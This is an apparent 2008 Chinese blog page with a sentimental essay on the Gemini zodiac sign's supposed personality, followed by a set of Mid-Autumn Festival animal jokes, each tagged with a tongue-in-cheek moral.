  她(他)经常谦让别人…就算受到别人的伤害…她(他)也只是一笑而过..她(他)会为了别人的幸福而让自己痛苦…也许..双子还有很多地方我没写出来…可她(他)就是这么小孩子…以多变和善变著称的双子一直是最受争议的星座.她(他)们的才华,她(他)们的孤傲,她(他)们的善变,她(他)们的冷漠,她(他)们的花心是她(他)们被羡慕,被嫉妒,被厌恶的理由.

  传说中的双生子住在一个躯体里,双重的精神与心灵成为世人宣判她(他)们善变与不专一的理由.又有谁看出事实并不是这样.传说里的双子连血连心,正因为是双生子,所以她(他)们拥有同样的内心.她(他)们有双倍的精力,双倍的才华,双倍的感情却只有唯一的心灵.她(他)们很诚实,一点也不世故,她(他)们很单纯,但很聪明,她(他)们看上去冷漠是因为她(他)们看透虚伪,天生的优越感和道德感也不允许她(他)们和虚伪的人群瞎搅和,她(他)们善变是因为世事无常,她(他)们可以最快的抓住变化的起点罢了。

  她(他)们很孤独,身体里暗藏着一个同样的自己,可以感觉却无法拥抱.她(他)们很善良,内心充满了爱与关怀,和大家在一起的时候总是努力的微笑希望带给别人快乐.她(他)们很敏感,你的一举一动都能牵动他们的神经.如果你开心她(他)们也会跟着开心,如果你难过她(他)们也会跟着难过.只要她(他)们不觉得被讨厌,她(他)们愿意在任何时候陪伴你.她(他)们会默默的帮助你,但是不会特意去告诉你,却很期待你有一天能发现.

  她(他)们很单纯,她(他)们天生喜欢相信,她(他)们会相信你随口说的话,相信爱情是简单没有伤害的,相信有和她(他)们内心一样的纯净.

  她(他)们很宽容,永远给你多个选择,她(他)们一点也不花心,她(他)们相信世界上对的人只有唯一一个,但是没有遇见对的人之前不表示不能和不对的人聊聊,打发漫长的等待.

  她(他)们爱你不会以你爱她(他)们为前提,但是会讨厌用真情无法感动的人,她(他)们爱你的时候会付出,不爱你的时候会退出,她(他)们从不天生抗拒一样东西,她(他)们的单纯与善良让她(他)们很想交出自己的真心,她(他)们的聪明理智与敏感让她(他)们把真心藏得更深。

  双子宝宝是个永恒的孩子

她(他)们古灵精怪,乐观坚强,善良勇敢,但常常会躲在黑暗的地方伤心流泪
她(他)们常常原谅别人,却常常得不到别人的原谅她(他)们常常安慰别人,却常常得不到别人的安慰
她(他)们常常帮助别人,去常长感到孤立无援
她(他)们可以很轻易的给别人带去快乐,却不会自己寻找快乐
她(他)们天生站在最高的地方,她(他)们不怕高却害怕世俗的寒
她(他)们的难过是每一滴鱼儿流在水里的泪
她(他)们永远需要被爱被关怀被呵护
她(他)们无论怎样的坚强都总在受伤,无论怎样受伤都总有美丽的梦想
她(他)们都是天使,有一双大而透明的翅膀,你是否看得见.

2008年09月11日人在网络

没有评论
26 views

中秋祝福笑话

两只青蛙相爱了,结婚后生了一个癞蛤嫫,
公青蛙见状大怒说:贱人,怎么回事?
母青蛙哭着说:他爹,认识你之前我整过容。
(爱情需要信任)

小驴问老驴:为啥咱们天天吃干草,而奶牛顿顿精饲料?
老驴叹到:咱爷们比不了,我们是靠跑腿吃饭,人家是靠胸脯吃饭!
(生活需要忍耐)

鸭子和螃蟹赛跑,一起到达终点,难分胜负,裁判说:你们来个剪刀石头布吧!
鸭子大怒:妈的,算计我?我一出是布,他总是剪刀。
(比赛需要天赋)

狗对熊说:嫁给我吧,嫁给我你会幸福。
熊说:才不嫁呢,嫁给你只会生狗熊,我要嫁给猫,生熊猫那才尊贵呢
(婚姻需要理智)

老鳖调戏河蚌,被咬,老鳖忍痛拖着河蚌来回爬,
青蛙见了敬佩的说:乖乖,鳖哥混大了,出入都夹着公文包。
(该装的时候得装)
祝大家中秋快乐啊

返回顶部